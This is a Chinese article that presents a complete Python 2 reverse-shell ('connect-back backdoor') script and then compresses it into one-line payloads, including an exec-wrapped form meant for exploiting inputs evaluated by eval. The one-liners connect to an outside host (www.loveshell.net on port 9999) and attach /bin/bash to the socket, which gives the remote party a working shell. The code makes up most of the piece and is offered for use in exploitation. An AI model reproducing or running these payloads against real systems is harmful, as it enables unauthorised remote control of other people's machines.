Python反向Shell代码优化:从完整脚本到单行利用
本文对比了完整的Python反向Shell脚本与单行精简版代码,探讨了在漏洞利用场景中如何压缩代码体积。针对eval环境限制,介绍了使用exec语句执行字符串代码的技巧,并分析了Python中exec与eval的区别及注意事项。
这里展示一段个人编写的Python反向Shell代码。
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006
import sys
import os
import socket
shell = "/bin/sh"
def usage(programname):
print "Python Connect-back Backdoor"
print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
print "Date: July 15th 2006\n"
print "Usage: %s <conn_back_host> <port>\n" % programname
def main():
if len(sys.argv) != 3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+] Connect ok."
except:
print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("-------------------- Python Connect-back Backdoor --------------------\n")
s.send("----------------------------- By wofeiwo -----------------------------\n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
global shell
os.system(shell)
print "See U!"
s.close()
if __name__ == "__main__": main()
这段代码在漏洞利用时显得过于冗长,不是吗?我们更希望代码尽可能短,以节省空间。
import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");
怎么样?是不是短了很多?
不过,漏洞利用的环境可能不允许执行多语句,例如输入被限制在eval函数中时,无法使用分号分隔的多条语句(后文会解释)。此时,我们可以换一种方式处理。
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';
请注意这里的\\r\\n。即使在单引号内,\r\n也可能被视为换行符,因此即使不使用分号,也可以构造出正确的代码。另外,为什么不直接使用eval呢?
查阅了相关文档。
exec语句用于执行存储在字符串或文件中的Python语句。例如,可以在运行时生成包含Python代码的字符串,然后使用exec语句执行这些语句。
eval语句用于计算存储在字符串中的有效Python表达式。
呵呵,在这里使用eval似乎会出错。
思考一下,虽然核心思想相同,但具体到不同语言时实现方式各异。如何突破语言的限制,这是一个值得探讨的问题。
免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。









